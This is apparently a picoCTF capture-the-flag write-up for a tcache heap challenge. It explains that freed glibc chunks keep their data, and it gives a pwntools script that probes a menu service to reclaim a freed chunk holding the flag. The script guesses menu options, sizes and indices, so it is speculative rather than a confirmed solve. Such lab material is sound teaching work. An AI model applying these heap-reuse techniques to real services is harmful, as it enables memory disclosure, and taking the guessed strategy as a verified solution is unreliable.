│ Category: Binary Exploitation
│ Difficulty: Easy
│ Points: 100
│ Author: Imattas aka Zemi
────────────────────────────────────────────────────────────────────────────────
--[ Challenge Description ]--
│ You've stumbled upon a mysterious cash register that doesn't keep money -- it
keeps secrets in memory. Traverse the free list wisely, and you might just find
the flag hiding in a freed chunk.
────────────────────────────────────────────────────────────────────────────────
--[ Recon / Initial Analysis ]--
The challenge name "tea-cash" is a play on words for tcache -- the Thread Local
Caching mechanism in glibc's heap allocator. The description tells us the flag
is hiding in a freed chunk, and we need to traverse the free list to find it.
:: Understanding Tcache
Since glibc 2.26, the tcache (Thread Cache) is a per-thread caching layer that
sits in front of the traditional fastbin/smallbin/unsortedbin system. Key
properties:
- Tcache bins: 64 singly-linked lists, one per size class (chunks of size 24 to
1032 bytes in 16-byte increments on 64-bit systems).
- LIFO order: Chunks are added and removed in Last-In-First-Out order.
- Max 7 entries per bin (by default).
- Minimal security checks: Historically, tcache had very few integrity checks,
making it a prime target for heap exploitation.
────────────────────────────────────────────────────────────────────────────────
--[ Vulnerability / Observation ]--
Based on the description, this appears to be a tcache traversal / free list
reading challenge. The key insight is that free() does not zero out chunk data —
a freed chunk still holds whatever the program wrote into it.
1. The program allocates a chunk, stores the flag in it, and then frees the
chunk.
2. The freed chunk goes into a tcache bin, but the flag data remains in memory
(free() does not zero out the data).
3. We need to interact with the program to allocate a new chunk of the same
size, which will be served from the tcache -- returning the same memory that
previously held the flag.
4. Reading this newly allocated chunk reveals the flag.
:: Alternative Mechanisms
- The program may let us view freed chunks directly through a "traverse free
list" menu option.
- The program may have a use-after-free (UAF) where we can read a chunk after it
has been freed.
- The flag might be split across multiple freed chunks that need to be traversed
in order.
────────────────────────────────────────────────────────────────────────────────
--[ Exploitation / Solution ]--
1. Connect to the remote service.
2. Interact with the menu to understand available operations (allocate, free,
read, write, etc.).
3. Identify the flag chunk: The flag was stored in a chunk that has been freed.
4. Retrieve the flag by either:
- Allocating a chunk of the same size (tcache will return the freed chunk with
the flag still in it)
- Using a "view" or "traverse" feature if the program provides one
- Exploiting a use-after-free condition
5. Read the flag from the returned chunk.
────────────────────────────────────────────────────────────────────────────────
--[ Full Exploit Script ]--
-- python --
#!/usr/bin/env python3
"""
tea-cash - picoCTF 2026 (Binary Exploitation, 100 pts)
Tcache heap exploitation challenge. The flag is stored in a freed chunk
on the heap. We traverse the free list / reallocate to recover it.
Usage:
python3 solve.py # local binary
python3 solve.py REMOTE host port # remote
python3 solve.py REMOTE saturn.picoctf.net 12345
Dependencies: pwntools (pip install pwntools)
"""
from pwn import *
import sys
import re
# ============================================================
# CHALLENGE-SPECIFIC VALUES - Update these
# ============================================================
BINARY = "./tea-cash" # Path to the local binary (if available)
HOST = "saturn.picoctf.net" # Remote host
PORT = 12345 # Remote port
# ============================================================
# Connection setup
# ============================================================
def get_connection():
"""Establish connection to local binary or remote service."""
if len(sys.argv) > 1 and sys.argv[1] == "REMOTE":
host = sys.argv[2] if len(sys.argv) > 2 else HOST
port = int(sys.argv[3]) if len(sys.argv) > 3 else PORT
log.info(f"Connecting to {host}:{port}")
return remote(host, port)
elif os.path.exists(BINARY):
log.info(f"Running local binary: {BINARY}")
return process(BINARY)
else:
log.info(f"Connecting to {HOST}:{PORT}")
return remote(HOST, PORT)
def extract_flag(data):
"""Search for the flag pattern in received data."""
if isinstance(data, bytes):
data = data.decode('utf-8', errors='replace')
match = re.search(r'picoCTF\{[^}]+\}', data)
if match:
return match.group()
return None
# ============================================================
# Strategy 1: Menu-based interaction
# Read the menu, try common operations to recover the flag
# ============================================================
def strategy_menu_based(io):
"""
Interact with a menu-driven heap program.
Common operations: allocate, free, read/view, write, exit.
The flag is in a freed chunk -- we try to reallocate it.
"""
log.info("Strategy 1: Menu-based interaction")
# Receive the initial banner/menu
try:
banner = io.recvuntil(b'>', timeout=5)
log.info(f"Banner:\n{banner.decode(errors='replace')}")
except EOFError:
banner = io.recvall(timeout=3)
log.info(f"Received:\n{banner.decode(errors='replace')}")
flag = extract_flag(banner)
if flag:
log.success(f"FLAG: {flag}")
return flag
return None
all_data = banner.decode(errors='replace')
# Check if flag is already visible
flag = extract_flag(all_data)
if flag:
log.success(f"FLAG found in banner: {flag}")
return flag
# Try common menu options
# Strategy: The flag was stored then freed. We need to get that memory back.
# Try option patterns commonly seen in heap challenges
menu_patterns = [
# (option_to_allocate, option_to_read, option_to_traverse_freelist)
(b'1', b'2', b'3'), # Common: 1=alloc, 2=read, 3=free/traverse
(b'1', b'3', b'4'), # Alternative numbering
(b'2', b'3', b'1'), # Another pattern
]
# First, try to just read/view/traverse
for opt in [b'1', b'2', b'3', b'4', b'5', b'v', b'r', b't', b'l', b'p']:
try:
io.sendline(opt)
response = io.recvuntil(b'>', timeout=3)
resp_str = response.decode(errors='replace')
all_data += resp_str
log.info(f"Option {opt.decode()}: {resp_str[:200]}")
flag = extract_flag(resp_str)
if flag:
log.success(f"FLAG: {flag}")
return flag
# If it asks for a size, try common sizes
if b'size' in response.lower() or b'how' in response.lower():
# Try sizes that match typical flag length (32-64 bytes -> chunk sizes)
for size in [32, 48, 64, 128]:
io.sendline(str(size).encode())
resp2 = io.recvuntil(b'>', timeout=3)
resp2_str = resp2.decode(errors='replace')
all_data += resp2_str
flag = extract_flag(resp2_str)
if flag:
log.success(f"FLAG: {flag}")
return flag
# If it asks for an index
if b'index' in response.lower() or b'which' in response.lower():
for idx in range(5):
io.sendline(str(idx).encode())
resp2 = io.recvuntil(b'>', timeout=3)
resp2_str = resp2.decode(errors='replace')
all_data += resp2_str
flag = extract_flag(resp2_str)
if flag:
log.success(f"FLAG: {flag}")
return flag
except (EOFError, TimeoutError):
continue
# Check all accumulated data for the flag
flag = extract_flag(all_data)
if flag:
log.success(f"FLAG: {flag}")
return flag
return None
# ============================================================
# Strategy 2: Allocate to reclaim freed chunk
# ============================================================
def strategy_reallocate(io):
"""
The classic tcache reuse attack:
1. The program freed a chunk containing the flag
2. Allocate a new chunk of the same size
3. Tcache returns the same memory -> flag is still there
4. Read the chunk to get the flag
"""
log.info("Strategy 2: Tcache chunk reclamation")
try:
menu = io.recvuntil(b'>', timeout=5)
log.info(f"Menu:\n{menu.decode(errors='replace')}")
except Exception:
return None
# Try to allocate (usually option 1)
io.sendline(b'1')
resp = io.recv(timeout=3)
resp_str = resp.decode(errors='replace')
# Send size matching typical flag chunk
if b'size' in resp.lower() or b'many' in resp.lower():
io.sendline(b'64') # Flag is typically < 64 bytes
resp = io.recv(timeout=3)
resp_str = resp.decode(errors='replace')
# Don't write anything (or write minimal data) to preserve the old content
if b'data' in resp.lower() or b'content' in resp.lower() or b'write' in resp.lower():
io.sendline(b'') # Empty write to preserve flag data
resp = io.recv(timeout=3)
resp_str = resp.decode(errors='replace')
# Now try to read the chunk
io.sendline(b'2') # Read option
resp = io.recv(timeout=3)
resp_str = resp.decode(errors='replace')
if b'index' in resp.lower() or b'which' in resp.lower():
io.sendline(b'0')
resp = io.recv(timeout=3)
resp_str = resp.decode(errors='replace')
flag = extract_flag(resp_str)
if flag:
log.success(f"FLAG: {flag}")
return flag
# Try reading other indices
for idx in range(1, 10):
try:
io.sendline(b'2')
io.recv(timeout=2)
io.sendline(str(idx).encode())
resp = io.recv(timeout=2)
flag = extract_flag(resp.decode(errors='replace'))
if flag:
log.success(f"FLAG: {flag}")
return flag
except Exception:
break
return None
# ============================================================
# Strategy 3: Brute-force / dump all output
# ============================================================
def strategy_dump_all(io):
"""
Just try every menu option and collect all output.
For simpler challenges, the flag might be revealed through
a specific traversal or print operation.
"""
log.info("Strategy 3: Exhaustive menu exploration")
all_output = b""
try:
all_output += io.recv(timeout=3)
except Exception:
pass
# Try all single-character menu options
for opt in list(range(1, 10)) + list(range(ord('a'), ord('z') + 1)):
try:
if isinstance(opt, int):
io.sendline(str(opt).encode())
else:
io.sendline(bytes([opt]))
resp = io.recv(timeout=2)
all_output += resp
# If prompted for additional input, try common values
resp_lower = resp.lower()
if b'size' in resp_lower:
for sz in [32, 48, 64, 128]:
io.sendline(str(sz).encode())
all_output += io.recv(timeout=2)
elif b'index' in resp_lower or b'which' in resp_lower:
io.sendline(b'0')
all_output += io.recv(timeout=2)
elif b'data' in resp_lower or b'content' in resp_lower:
io.sendline(b'AAAA')
all_output += io.recv(timeout=2)
except (EOFError, TimeoutError):
break
except Exception:
continue
flag = extract_flag(all_output.decode(errors='replace'))
if flag:
log.success(f"FLAG: {flag}")
return flag
# Print all collected output for manual analysis
log.info("All collected output:")
print(all_output.decode(errors='replace'))
return None
# ============================================================
# Main
# ============================================================
def main():
context.log_level = 'info'
flag = None
# Strategy 1: Menu-based interaction
try:
io = get_connection()
flag = strategy_menu_based(io)
io.close()
except Exception as e:
log.warning(f"Strategy 1 failed: {e}")
if flag:
print(f"\n{'='*50}")
print(f"FLAG: {flag}")
print(f"{'='*50}")
return
# Strategy 2: Reallocate to reclaim the freed chunk
try:
io = get_connection()
flag = strategy_reallocate(io)
io.close()
except Exception as e:
log.warning(f"Strategy 2 failed: {e}")
if flag:
print(f"\n{'='*50}")
print(f"FLAG: {flag}")
print(f"{'='*50}")
return
# Strategy 3: Dump everything
try:
io = get_connection()
flag = strategy_dump_all(io)
io.close()
except Exception as e:
log.warning(f"Strategy 3 failed: {e}")
if flag:
print(f"\n{'='*50}")
print(f"FLAG: {flag}")
print(f"{'='*50}")
else:
print("\n[!] Could not automatically retrieve the flag.")
print("[*] Manual analysis tips:")
print(" 1. Run the binary locally and examine its menu options")
print(" 2. Use 'ltrace' or 'strace' to trace heap operations")
print(" 3. Use GDB with 'heap' commands to inspect tcache bins")
print(" 4. Look for a 'traverse', 'view freelist', or 'print' option")
print(" 5. Allocate a chunk of the same size as the freed flag chunk")
print(" to reclaim the memory from tcache")
if __name__ == '__main__':
import os
main()
────────────────────────────────────────────────────────────────────────────────
--[ Key Takeaways ]--
- "tea-cash" is a pun on tcache, glibc's per-thread heap cache that fronts the
fast/small/unsorted bins since glibc 2.26.
- free() does not wipe chunk contents, so a flag stored then freed still lives
in memory inside its tcache bin.
- The classic recovery is tcache reuse: allocate a chunk of the same size class
and the LIFO bin hands back the exact memory that held the flag — then read it
without overwriting.
- Practical menu-driven heap recon: enumerate allocate/free/read/view options,
try a "traverse free list" feature, or exploit a use-after-free; inspect tcache
bins in GDB and trace with ltrace/strace.